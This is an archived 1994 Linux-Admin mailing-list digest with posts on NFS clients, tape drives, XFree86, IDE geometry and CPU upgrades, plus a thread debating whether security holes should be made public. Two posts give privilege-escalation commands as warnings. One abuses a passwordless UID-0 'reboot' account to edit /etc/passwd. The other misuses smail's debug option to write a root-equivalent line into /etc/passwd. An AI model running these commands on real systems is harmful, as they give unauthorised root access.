Files
2024-02-19 00:23:35 -05:00

832 lines
30 KiB
Plaintext
Raw Permalink Blame History

From: Digestifier <Linux-Admin-Request@senator-bedfellow.mit.edu>
To: Linux-Admin@senator-bedfellow.mit.edu
Reply-To: Linux-Admin@senator-bedfellow.mit.edu
Date: Thu, 13 Oct 94 12:13:45 EDT
Subject: Linux-Admin Digest #186
Linux-Admin Digest #186, Volume #2 Thu, 13 Oct 94 12:13:45 EDT
Contents:
Linux as KingGod NFS Server to DOS Slaves (Peter Berger)
HELP: kernel: NET: sock_accept: no more sockets (Ng Fo)
Re: Please don't post security holess... (Todd R. Lawrence)
SLS system passwd problems (Mike Shurtleff)
Re: rdate not working (Andrew R. Tefft)
Re: Q: XF86-3.1 and font scaling (Terry Gliedt)
Re: Serious Bug In The Networking Code (Bart Kindt)
Re: Please don't post security holess... (Yngvi Sigurjonsson)
XFree86 3.1 and Diamond Stealth VRAM (Joerg Leinhoss)
Re: Removable Hard Disk Support - warning (Keith Owens)
Re: Big IDE- fdisk 'different phys/log...' (Delman Lee)
Re: Compressed FS for Linux? (Jeff Kesselman)
Re: Mystery Chip...AMD (Jeff Kesselman)
Re: Tar and z option with DAT drive (sp@questor.org)
Re: shutdown without root access -- SUMMARY (Bill C. Riemers)
XFree 3.1, why upgrade?
Ftape works. mt doesn't :( (Carlos Dominguez)
Re: ftape + Highscreen/Vobis tape drive = ? (Marek Michalkiewicz)
Re: Problems with Current Slackware TeX/LateX (Matt Warnock)
Re: Big IDE- fdisk 'different phys/log...' (Delman Lee)
Re: <Q> Can Linux Mount a Mac Floppy (Wade Maxfield)
Re: Mystery Chip...AMD (Andrew Whyte)
Re: Mystery Chip...AMD (Andrew Whyte)
Re: RLOGIN security - more info! (Karsten Johansson)
Re: Security hole - has noone noticed so far? (Karsten Johansson)
----------------------------------------------------------------------------
Date: Tue, 11 Oct 1994 08:58:01 +0100
From: pit@p2.lxs.baboon.ch (Peter Berger)
Subject: Linux as KingGod NFS Server to DOS Slaves
prang@du9ds4.fb9dv.uni-duisburg.de (Juergen Prang) wrote:
>>Well, I use this one, too. For now just for files of the filebase of my
>>fidonode.. But to use that seriously there should be consistent dates and ti
> mes
>>of the files. Did you solve that?
> Another (shareware) DOS NFS client is xfs. It is available for
> anonymous ftp from
> ftp.uni-duisburg.de: /pub/pc/nfs/xfs186.zip
I have this one "hanging around" in my filebase, too.. I took a look at v1.7? I
think, but at that time a decided to use tsoft's nfs257* 'cause there's been
much less (read: nothing, after \etc\hosts and \etc\fstab have been set up)
configuration work to do. For XFS* one should write some batches to make it
useable.. - just my opinion..
Hm. I might give XFS* another try if I'd knew if it fixes the filedate problems
- anyone? (yep, you're right, I'm lazy.. :-}).
> like bwnfsd and pcnfsd for proper authorization at the NFS server.
I suppose it's the sources originating from sunacm.swan.ac.uk (or such), right?
bye,
Peter
e-mail: pit@lxs.baboon.ch
------------------------------
From: ngfo@tst.hk.super.net (Ng Fo)
Subject: HELP: kernel: NET: sock_accept: no more sockets
Date: 12 Oct 1994 11:20:39 +0800
I have the following complains from my syslogd when having lot's
of incoming nntp connection. I'm running a slackware linux box with
inn-1.4sec and nntplink3.3.
Anyone know how to solve the problem, thanks very much.
..ngfo
=====================
Oct 12 11:01:30 ssp kernel: <_accept: no more sockets
Oct 12 11:01:30 ssp kernel: NET: sock_accept: no more sockets
Oct 12 11:01:30 ssp last message repeated 65 times
Oct 12 11:01:30 ssp Oct 12 11:01:<6>Oct 12 11:01:57 kernel: NET: sock_accept: no more sockets
Oct 12 11:01:30 ssp kernel: NET: sock_accept: no more sockets
Oct 12 11:01:30 ssp last message repeated 14 times
Oct 12 11:01:30 ssp kernel: NET: sock_accept: no <6>Oct 12 11:01:57 kernel: NET: sock_accept: no more sockets
Oct 12 11:01:30 ssp kernel: NET: sock_accept: no more sockets
Oct 12 11:01:30 ssp last message repeated 14 times
Oct 12 11:01:30 ssp kernel: NET: sock_accept: no <6>Oct 12 11:01:57 kernel: NET: sock_accept: no more sockets
Oct 12 11:01:30 ssp kernel: NET: sock_accept: no more sockets
Oct 12 11:01:33 ssp last message repeated 1045 times
--
..ngfo
------------------------------
From: mutrl@uxa.ecn.bgu.edu (Todd R. Lawrence)
Subject: Re: Please don't post security holess...
Date: 11 Oct 1994 16:22:59 GMT
: >
: >: In a free and open society, ALL information should be available.
: >: Many governments and orgs withhold information in the interest
: >: of 'security' to the detriment of society as a whole. All this
: >: done in the name of 'security'
: >
Can you truly be this much of an Idiot?
Using this argument to rationalize hacking/cracking is the biggest Load of
crap I have ever seen, I dont recall who actually made the above statement
as I cut out most of the drivel. However Anyone who follows this flawed
philosophy needs to grow up.
--
Todd Lawrence
LOD Communications
"I would like everyone to be nice to baby crabs..."
------------------------------
From: shur@CAM.ORG (Mike Shurtleff)
Subject: SLS system passwd problems
Date: 11 Oct 1994 07:41:34 -0400
I just loaded up the minimal (4Adisks) version of SLS 1.05. While I can
assign
passwords to non-root accounts from root.. I can't change passwords from
the non-root accounts (for the same account of course).. I get bumped
because it doesn't recognize the old password.
If I try to change the root password on root, the change goes through
..but the password is not the one entered..i.e. I lose access to my root
account!
Anyone experienced the same problem or have a solution? ...I want to
resolve this before expanding my system.
mike
------------------------------
From: teffta@erie.ge.com (Andrew R. Tefft)
Subject: Re: rdate not working
Reply-To: teffta@erie.ge.com
Date: Tue, 11 Oct 1994 13:16:49 GMT
In article <FOX.94Oct8221350@first.cs.nyu.edu>, fox@graphics.cs.nyu.edu (David Fox) writes:
>I've been trying to use the public domain "rdate" on a 1.1.51 linux
>system without success. It works find on a Sparc, but on Linux
>it gets "read timed out" errors. Any ideas?
Good timing. I just saw your article today, but I uploaded a working rdate
to sunsite last night. It should be still in Incoming.
--
Andy Tefft - new, expanded .sig - teffta@erie.ge.com
------------------------------
From: tpg@mr.net (Terry Gliedt)
Subject: Re: Q: XF86-3.1 and font scaling
Date: 10 Oct 1994 14:04:06 -0500
> The problem is the fact that it now takes quite a long time
> for ez to come up the first time
In the README.ez.wp for AUIS it says:
> You can control whether AUIS asks for scaled fonts or not with the
> preferences entry: "*.ScaleXFonts". If you do not scale fonts, then
> successive calls to "Bigger" (for instance) may not result in a font
> that you can SEE is different. When it prints, however, it will have the
> larger font. This has been left to default so the fonts are scaled.
> If/when we get better scalable fonts (like Adobe fonts), this will no
> longer be an issue.
Maybe the last sentence isn't quite right, but you can turn it off if
you do not like this behavior. And I cannot blame you for not liking it.
===================================================================
Software Toolsmiths Terry Gliedt tpg@mr.net MIME OK 507-356-4710
------------------------------
Crossposted-To: comp.os.linux.development,comp.os.linux.help
From: bart@dunedin.es.co.nz (Bart Kindt)
Subject: Re: Serious Bug In The Networking Code
Date: Fri, 14 Oct 1994 05:39:23 GMT
In article <dtran.395.2E997F32@emelnitz.ucla.edu> dtran@emelnitz.ucla.edu (Daniel Tran) writes:
>Xref: otago.ac.nz comp.os.linux.development:12491 comp.os.linux.admin:11970 comp.os.linux.help:43483
>Path: otago.ac.nz!canterbury.ac.nz!waikato!ames!ncar!gatech!howland.reston.ans.net!europa.eng.gtefsd.com!library.ucla.edu!news.mic.ucla.edu!emelnitz.ucla.edu!dtran
>From: dtran@emelnitz.ucla.edu (Daniel Tran)
>Newsgroups: comp.os.linux.development,comp.os.linux.admin,comp.os.linux.help
>Subject: Re: Serious Bug In The Networking Code
>Date: Mon, 10 Oct 1994 17:51:46 GMT
>Organization: UCLA Arts - Theater/Film & TV Network Support
>Lines: 17
>Message-ID: <dtran.395.2E997F32@emelnitz.ucla.edu>
>References: <KETIL.94Oct9183323@lomvi.ii.uib.no> <37a37b$a2d@Venus.mcs.com>
>NNTP-Posting-Host: 128.97.175.99
>X-Newsreader: Trumpet for Windows [Version 1.0 Rev A]
>In article <37a37b$a2d@Venus.mcs.com> munster@MCS.COM (Jerry Ablan) writes:
>>: There appears to be a serious bug in some of the networking code
>>: supplied with linux/slackware, that causes the computer to get
>>: 'network unreachable' after approximately 3 minutes of perfect
>>: functioning. I have no idea what the problem might be, and if
>>: somebody tell me where to look, I can try to figure out what versions
>>: my drivers etc. are. Here are the configurations I ve gotten this
>>: problem with:
>>I've noticed that this occurs when you run routed. Do not run routed and see
>>if it still happens.
>>-- Jerry
>Would running running routed with -q parameter help.
>Daniel Tran - dtran@emelnitz.ucla.edu
Routed overwrites the Kernel 1.0.xx memory tables. Eventually it will crash
the system, depending how big the routing table becomes. I my case, within a
few minutes. Routed does not work properly anyway (the Linux version). The
only way out is Gated, which I now use all the time... BUT it cannot be used
with the 1.0.xx kernels!
So, if you MUST use a routed (gated) program, you also *must* use the new
kernels. I am now using 1.1.52, which works fine as a multi-line SLIP dial-in
server.
====================================================================================
Bart Kindt (ZL4FOX) System Operator, Efficient Software NZ LTD, Dunedin, New Zealand
====================================================================================
------------------------------
From: yngvi@hafro.is (Yngvi Sigurjonsson)
Subject: Re: Please don't post security holess...
Date: 11 Oct 1994 16:11:02 GMT
In <UiaLVpS00WB_8hmR8q@andrew.cmu.edu> "Bryan J. Ischo" <bi04+@andrew.cmu.edu> writes:
>Excerpts from netnews.comp.os.linux.admin: 9-Oct-94 Re: Please don't
>post secur.. by Steve Kneizys@acad.ursin
>> If there was a security developers group, then the holes could
>> be emailed to them for evaluation so as not to publicize the hole
>> long before the fix. Or make a moderated comp.os.linux.security
>> group?
>>
>> Just a few thoughts for discussion...
>>
>> Steve...
> I agree completely. I certainly don't have time to sort through all
>of the messages on these bboards (I'll probably even miss this one when
>it shows up) but I really want to know the fixes (and the reasons for)
>all of the security holes that people discover.
> A mailing list or MODERATED newsgroup would be perfect.
A mailing list would be more dangerous than current methods. All the truly
bad people would be on the mailing list but not the not so security aware
people, which are likely to attecked. But no matter what I say, I guess
the truly bad people already have their mailing lists.
And why should there be a moderated newsgroup? So that only the moderator
would now about certain holes? You know everyone can read a moderated
newsgroup. I would not want some moderator deciding what risks to take.
--
_ ____\\\_\\___ O >= Yngvi <20><>r Sigurj<72>nsson
( \--___________o_\ o >= Directorate of Fisheries, Ing<6E>lfsstr<74>ti 1,
(_/--____ \ _/ O >= 150 Reykjav<61>k, Iceland.
// - ____-- ` o >= Tel:(354 1)697900 Fax: 697990
------------------------------
From: leinhoss@rz.tu-ilmenau.de (Joerg Leinhoss)
Subject: XFree86 3.1 and Diamond Stealth VRAM
Date: 12 Oct 1994 10:18:15 GMT
Hi,
Supports XFree86 3.1 the Diamond Stealth VRAM (S3-924, SS2410,
programable clock generator) ?
Joerg
leinhoss@rz.tu-ilmenau.de
------------------------------
From: kaos@melbpc.org.au (Keith Owens)
Subject: Re: Removable Hard Disk Support - warning
Date: Thu, 06 Oct 1994 23:30:35 +0000
In article <5Y6JkiaypsB@higgins.delbox.zer.de>, HIGGINS@DELBOX.ZER.DE wrote:
> feksa@panix.com meinte am 30.09.94
> zum Thema "Removable Hard Disk Support":
>
> > What types of removable hard disks are supported under Linux?
> > E.g. Iomega 105/150 MB models
> > SyQuest 44/88/105/200/270 MB models
> > Bernoulli Box 35/65/90/105/150 MB models
> > (This is pretty much all I've heard of.)
>
> All types of SCSI-removable-disks are supported, they are recognized as
> hard-drives (removable) and must be mounted/umounted like all disks/
> partitions.
Warning: Some kernels do not correctly umount removable disks and can
corrupt them right royally.
I run a Syquest 270 SCSI and, while it mounts, reads and writes fine,
when I umount it does not always flush some kernel data (inode cache?).
Under 1.1.0 (1.0.9) I could umount one disk, mount another and ls still
showed the old directory contents. This even led to inode information
from the previous disk being written to the next disk I mounted,
totally corrupting the filesystem. Admittedly these were DOG format
but it still should not have happened.
Matt Day <mday@artisoft.com> posted a super.c patch to flush the kernel
structures on umount, I applied it and it fixed my problem. Alas as a
side effect it marks all file systems dirty on closedown, requiring
fsck on startup. No big deal, I can live with that. Matt also told me
that this problem is supposed to be fixed in more recent kernels by
some other changes to the SCSI code.
------------------------------
From: delman@mipg.upenn.edu (Delman Lee)
Subject: Re: Big IDE- fdisk 'different phys/log...'
Date: 09 Oct 1994 21:34:19 GMT
[*] Eric Zager writes:
] After trying a number of configurations, I decided to install the
] drive (a Western Digital AC2540, 540 Mb) on a second IDE card, so
] that I could rule out the possibility of wierd interactions with
] AT BIOS. The drive geometry is hard coded into the kernel
] (1.1.52 w/ atdisk2-1.1.47+).
Oh atdisk2 patch against 1.1.x kernels can be bound in
mipgsun.mipg.upenn.edu:pub/delman
] Disk /dev/hd1a: 16 heads, 63 sectors, 1048 cylinders Units
I have only recently got a drive with more than 1024 cylinders. I
think the temporary fix is to go into expert mode in fdisk and set the
heads to 32, and cylinders to 524.
Will try and fix it in the atdisk2 code....
Delman.
--
______________________________________________________________________
Delman Lee Tel.: +1-215-662-6780
Medical Image Processing Group, Fax.: +1-215-898-9145
University of Pennsylvania,
4/F Blockley Hall, 423 Guardian Drive,
Philadelphia, PA 19104-6021,
U.S.A.. Internet: delman@mipg.upenn.edu
______________________________________________________________________
------------------------------
From: jeffpk@netcom.com (Jeff Kesselman)
Subject: Re: Compressed FS for Linux?
Date: Wed, 12 Oct 1994 17:38:50 GMT
In article <1994Oct11.081931.16281@leeds.ac.uk>,
N B Venkateswarlu <venkat@scs.leeds.ac.uk> wrote:
>I remember some one mentioning "tcx-linux.tar.gz" to use for compressed
>executables.
>
> venkat
I don't know if this is a general faeture, but my Fall94 Yygdrasil has
the ability to recognize the .gz extension and decompress a file as it
loads it into memory- kinda a neat little trick.
JK
------------------------------
Crossposted-To: comp.sys.ibm.pc.hardware.systems,comp.os.linux.misc
From: jeffpk@netcom.com (Jeff Kesselman)
Subject: Re: Mystery Chip...AMD
Date: Sun, 9 Oct 1994 19:20:12 GMT
In article <3740ss$4kj@venera.isi.edu>, Daniel Zappala <daniel@isi.edu> wrote:
>
>In article <372tuk$1el@huron.eel.ufl.edu>, acg@kzin.cen.ufl.edu (Alexandra Griffin) writes:
>> In article <371kim$emf@venera.isi.edu>, Daniel Zappala <daniel@isi.edu> wrote:
>> >
>> >In article <370rc5$o7q@crl.crl.com>, rigor@crl.com (Sam Brown) writes:
>> >
>> >I have an AMD 486DX-40. Any news on an add-in from AMD to turn this into a
>> >486DX2-80, or do I need to buy a whole new chip?
>>
>> Nope, sorry... the dx/2 chips are different inside (have a PLL circuit
>> to double their on-chip clock, and extra interface logic to hook up to
>> the half-speed external bus), and of course you can't very well modify
>> a silicon die after it's been made!
>>
>
>
>
>
>
>
>
>But doesn't Intel sell a chip that upgrades a 486DX-33 into a 486DX2-66?
>How do they manage that?
>
>
>Daniel
Answer: they don't. What they sell is a REPLACEMENT processor, the DX2/66.
You pull your old chip out and plug the DX2-66 in instead. Since its
EXTERNAL speed is still 33mhz, it looks to the rest of your machine like
your old chip, but INTERNALLY it process instructions twice as fast.
JK
------------------------------
From: sp@questor.org
Subject: Re: Tar and z option with DAT drive
Date: 9 Oct 1994 14:33:04 -0700
In article <377smd$lqc@mozo.cc.purdue.edu>,
Garry Adkins <adkinsg@sonata.cc.purdue.edu> wrote:
>Hi all!
>
>I'm going to buy a DAT drive in a few days, and I was wondering about
>using the z option with the DAT drive... I assume that it slows
>the speed of the backup, but does it have any other effect?
I have been running a 4mm WangDat drive here for the past year or so, with
no problems using a compressed (.z) backup. We bought ours as a refurbished
unit (2gb) for around US$560. Worth every penny.
--
FREE ACCESS TO E-MAIL & NEWS - INFO on Environment, Science, Medicine,
AIDS, Native (Indigenous) Issues and more. We sell ZyXEL and
other products world-wide to support this Free service.
:::::> Info from: mail-server@questor.org <:::::
------------------------------
From: bcr@k9.via.term.none (Bill C. Riemers)
Subject: Re: shutdown without root access -- SUMMARY
Date: 09 Oct 1994 22:10:15 GMT
Reply-To: bcr@physics.purdue.edu
>>>>> "Van" == Van Zandt <jrv@truth.mitre.org> writes:
Van> Tony Peterman <automata@netcom.com> suggested changing the
Van> login shell to "shutdown -r now". (Unfortunately my version
Van> of login apparently doesn't allow the login shell to have
Van> command line arguments.) He also cautions "make sure the
Van> login dir is /, or you might have to fsck filesystems on
Van> reboot".
Van> Peter <PSA@thor.lfs.hamburg.cap-debis.de> allows users to
Van> reboot from the login prompt by defining a user "reboot" with
Van> no password, UID and GID of 0, login shell of bash, and a
Van> startup file ~reboot/.bash_profile containing the command
Van> "/sbin/reboot". He cautions that passwd(1) considers root
Van> and reboot to be the same user:
Alittle security hole there:
su reboot -c 'vi /etc/passwd'
Access to the 'reboot' or 'shutdown' account is equivlent to access
to 'root'.
If you do this, you might as well tell people the root password, and
skip the extra account.
Bill
--
<A HREF=" http://physics.purdue.edu/~bcr/homepage.html ">
<EM><ADDRESS> Bill C. Riemers, bcr@physics.purdue.edu </ADDRESS></EM></A>
<A HREF=" http://www.physics.purdue.edu/ ">
<EM> Department of Physics, Purdue University </EM></A>
------------------------------
From: s010dls@alpha.wright.edu ()
Subject: XFree 3.1, why upgrade?
Date: Sun, 9 Oct 1994 22:33:57 GMT
I'm using XFree86 2.1.1 and I'm happy. What are the reason's for
upgrading? I run X on a mach32 card, but I use 1280x1024 and I can't
get more than 256 colors at that resolution anyway. So, hicolor and
truecolor are worthless to me. I finally have the Xconfig set up
perfectly, so the new config file doesn't intrest me.
What else is there? I use Motif 1.2.4, and I also program for it. Is
there a possiblity that I won't be able to run other people's programs
if I'm not running X11R6? Any help would be appreciated. Thanks.
------------------------------
From: carlos@interport.net (Carlos Dominguez)
Subject: Ftape works. mt doesn't :(
Date: 13 Oct 1994 10:01:02 -0400
Ftape is working OK now. But I'm trying to use mt to stash more than
one tar archive per tape and It doesn't work.
I start by issuing a mt -f /dev/ftape erase
Then I do a tar dump to the tape
Then I rewind the tape
Then I do a mt -f /dev/ftape fsf 1
and do a mt -f /dev/ftape status and get a "0" in filemarks.
What am I missing here ?
--
__ __ __ | .__. __. :::: Carlos Dominguez - proprietor - sysadmin
| __| | | | | |__ :::: carlos@basselope.com
|__ |__| | | |__| .__| :::: Basselope *nix systems
--------------------------- Internet services consulting is our forte
------------------------------
From: ind43@sun1000.ci.pwr.wroc.pl (Marek Michalkiewicz)
Subject: Re: ftape + Highscreen/Vobis tape drive = ?
Date: 13 Oct 1994 12:27:59 GMT
Joachim Wlodarz (jjw@tkemi.klb.dth.dk) wrote:
: Marek Michalkiewicz (ind43@sun1000.ci.pwr.wroc.pl) wrote:
: : Hi,
: : I'm going to buy a tape drive for backups. Does anyone have any
: : experiences with the Highscreen/Vobis tape drive under Linux?
: : It is a cheap "250MB" (really 120MB) tape drive, which connects
: : to the floppy controller. Will it work with ftape?
: : Yes, I have RTFM (Ftape-HOWTO) but this tape drive is not listed
: : there. They at the Vobis shop don't know about Linux.
: : Thanks in advance.
: : Marek Michalkiewicz
: This tape drive is in fact a standard CMS 250. It works fine under Linux,
: FreeBSD, OS/2, DOS/Win etc. However, its mechanical construction may be
: not very robust...
: -jjw.
Thanks! I just bought a Colorado Jumbo 250. It is not very robust, but
I am a student and I can't afford a "real" (read: >=525MB, SCSI-2) tape
drive at the moment...
I have some problems with this tape drive (lots of read-write errors),
but these errors occur under DOS too - but the same tape drive and the
same tapes work fine in my friend's system. Something must be wrong with
my machine (floppy controller? - but floppies work fine; power supply? -
maybe, I can see some changes in screen brightness when the tape drive
motor starts, maybe the voltage is not regulated very well). Please mail
me at the address below if you can help me. Thanks in advance.
Marek Michalkiewicz
ind43@ci3ux.ci.pwr.wroc.pl || marekm@i17linuxa.ists.pwr.wroc.pl
------------------------------
From: mwarnock@garlic.com (Matt Warnock)
Subject: Re: Problems with Current Slackware TeX/LateX
Date: 13 Oct 1994 07:12:24 -0700
In article <1994Oct12.155700.25087@news.cs.indiana.edu>,
Eric Jeschke <jeschke@cs.indiana.edu> wrote:
[snip]
>No, the problem with Slackware is that the directory where Metafont
>is trying to put the built fonts is write protected. Just make it
>world writable and you are all set.
>
>I don't remember the path exactly, but it is something like
>
>/usr/TeX/lib/texmf/fonts/public/tmp/pk
So, if this has to be world-writable, doesn't it violate FSSTD?
I thought /usr was supposed to be mountable as read-only.
Apparently TeX doesn't agree? Should this really be in a /var
directory?
--
W. Matthew Warnock, Attorney (mwarnock@garlic.com) Tel:408.778.7273
60 West Main Avenue, Suite 12A, Morgan Hill CA 95037-4553 Fax:408.778.7989
------------------------------
From: delman@mipg.upenn.edu (Delman Lee)
Subject: Re: Big IDE- fdisk 'different phys/log...'
Date: 09 Oct 1994 23:35:06 GMT
[*] Delman Lee writes:
] Will try and fix it in the atdisk2 code....
The 1.1.52-diffs in mipgsun.mipg.upenn.edu:pub/delman should fix the
problem. It fakes the bios geometry from the real physical geometry by
halving the cylinders (and doubling the heads) until cyl<=1024.
Please give it a try.
Delman.
--
______________________________________________________________________
Delman Lee Tel.: +1-215-662-6780
Medical Image Processing Group, Fax.: +1-215-898-9145
University of Pennsylvania,
4/F Blockley Hall, 423 Guardian Drive,
Philadelphia, PA 19104-6021,
U.S.A.. Internet: delman@mipg.upenn.edu
______________________________________________________________________
------------------------------
From: maxfield@ix.netcom.com (Wade Maxfield)
Subject: Re: <Q> Can Linux Mount a Mac Floppy
Date: 9 Oct 1994 22:20:31 GMT
In <1994Oct5.153300@hammer.westboro-ma.peritus.com> cummings@hammer.westboro-ma.peritus.com (Kevin Cummings) writes:
>
>In article <36mffk$pr5@news.cais.com>, bass@cais2.cais.com (Tim Bass (Network Systems Engineer)) writes:
>> Got some ASCII text files on my Powerbook... Would like to write them
>> to the PB floppy and then mount the floppy on my linux box and
>> read the ascii text (and do some other stuff). I haven't seen this
>> in any FAQ or the The Linux Bible. Any clues for the clueless ;-)
I think the easist way is to use the Macintosh program that translates files
from Mac Format to MSDOS format. In the process, it will also copy a file to a
dos formatted floppy.
Then, mount the floppy under linux (on my Yggdrasil version, mount -t msdos
-o conv=text /dev/fd0 /mnt), and copy the files onboard.
Wade
maxfield@ix.netcom.com
------------------------------
From: ba021@cq-pan.cqu.edu.au (Andrew Whyte)
Crossposted-To: comp.sys.ibm.pc.hardware.systems,comp.os.linux.misc
Subject: Re: Mystery Chip...AMD
Date: 9 Oct 1994 23:34:14 GMT
Daniel Zappala (daniel@isi.edu) wrote:
>In article <370rc5$o7q@crl.crl.com>, rigor@crl.com (Sam Brown) writes:
>> picked up a dx-2-80 amd, works great. $210 was my cost $320 w/green vlb
>> motherboard. extremely stable and fast
>>
>I have an AMD 486DX-40. Any news on an add-in from AMD to turn this into a
>486DX2-80, or do I need to buy a whole new chip?
Woah there!!!
The idea of a DX2 chip is an _internal_ clock double. IT uses some devices
to double the externl clock frequency, and the chip is designed for it....
It order to get a DX-40 to _go_ at 80Mhz you will need an external speed of
80Mhz which is currently not available, and besides doing this to the chip
would definatly fry it :)
I have a AMD DX-40 myself, and I changed to clock selector of the mother
board from 40Mhz to 50Mhz
, and now I have a DX-50 :) and without any glitches or over heating :) (I
also have always had a cpu cooler fan on it though :)
SO in basic answer to your question, No you can't. You will need a new chip
to do what you want.. But i would suggest you try the 50Mhz idea, it
increase all system aspects by 25% :) I'm happy.
>Daniel
--
=============================================================================
Andrew Whyte, | Email: ba021@cq-pan.cqu.edu.au
Bachelor of Info. Tech. | whytea@jasper.cqu.edu.au
Central Queensland University | whytea@topaz.cqu.edu.au
===================================IRC: Holo, Holodeck,Cry===================
------------------------------
From: ba021@cq-pan.cqu.edu.au (Andrew Whyte)
Crossposted-To: comp.sys.ibm.pc.hardware.systems,comp.os.linux.misc
Subject: Re: Mystery Chip...AMD
Date: 9 Oct 1994 23:35:49 GMT
Daniel Zappala (daniel@isi.edu) wrote:
>In article <372tuk$1el@huron.eel.ufl.edu>, acg@kzin.cen.ufl.edu (Alexandra Griffin) writes:
>> In article <371kim$emf@venera.isi.edu>, Daniel Zappala <daniel@isi.edu> wrote:
>> >
>> >In article <370rc5$o7q@crl.crl.com>, rigor@crl.com (Sam Brown) writes:
>> >
>> >I have an AMD 486DX-40. Any news on an add-in from AMD to turn this into a
>> >486DX2-80, or do I need to buy a whole new chip?
>>
>> Nope, sorry... the dx/2 chips are different inside (have a PLL circuit
>> to double their on-chip clock, and extra interface logic to hook up to
>> the half-speed external bus), and of course you can't very well modify
>> a silicon die after it's been made!
>>
>But doesn't Intel sell a chip that upgrades a 486DX-33 into a 486DX2-66?
>How do they manage that?
Its probably a confusing add which is really selling you either a DX2-66
overdrive or a DX2-66 straight cpu.
>Daniel
--
=============================================================================
Andrew Whyte, | Email: ba021@cq-pan.cqu.edu.au
Bachelor of Info. Tech. | whytea@jasper.cqu.edu.au
Central Queensland University | whytea@topaz.cqu.edu.au
===================================IRC: Holo, Holodeck,Cry===================
------------------------------
From: ksaj@csis.pcscav.com (Karsten Johansson)
Subject: Re: RLOGIN security - more info!
Date: Tue, 11 Oct 1994 18:24:19 GMT
Gregory Trubetskoy (grisha@cais.cais.com) wrote:
: irrelevant... elm is a link to tin, which is setuid to root...
Why? They are different programs altogether.
--
There are those who are born UNIX | Karsten Johansson
Those who are made UNIX | 416/691-9838
And those who become UNIX |
For the kingdom of heaven's sake | Matthew 19:12
------------------------------
Crossposted-To: comp.mail.smail
From: ksaj@csis.pcscav.com (Karsten Johansson)
Subject: Re: Security hole - has noone noticed so far?
Date: Wed, 12 Oct 1994 15:09:09 GMT
Martin Bartosch (martin2@perseus.ida.ing.tu-bs.de) wrote:
: while searching a flaw in my smail configuration files, I discovered
: a flaw in _my_ smail setup. I cannot say whether the following is
: true for every implementation and do not know if this has been
: reported before. So be gentle with me.
: /usr/lib/sendmail -d -D/etc/nologin noone@empty.space
try this:
smail -d -D/etc/passwd :0:0:FakeRoot:/home/root:/bin/sh
scary enough, you'll find a line like this in your password file:
write_log::0:0:FakeRoot:/home/root:/bin/sh ... error returned to ksaj
Fortunately there are a few instances of write_log before this line,
otherwise, you could do this, then login as write_log, and have root privs.
And of course there is this:
smail -d -D/etc/issue SYSOP@BETTER.FIX.THIS.BUG
--
There are those who are born UNIX | Karsten Johansson
Those who are made UNIX | 416/691-9838
And those who become UNIX |
For the kingdom of heaven's sake | Matthew 19:12
------------------------------
** FOR YOUR REFERENCE **
The service address, to which questions about the list itself and requests
to be added to or deleted from it should be directed, is:
Internet: Linux-Admin-Request@NEWS-DIGESTS.MIT.EDU
You can send mail to the entire list (and comp.os.linux.admin) via:
Internet: Linux-Admin@NEWS-DIGESTS.MIT.EDU
Linux may be obtained via one of these FTP sites:
nic.funet.fi pub/OS/Linux
tsx-11.mit.edu pub/linux
sunsite.unc.edu pub/Linux
End of Linux-Admin Digest
******************************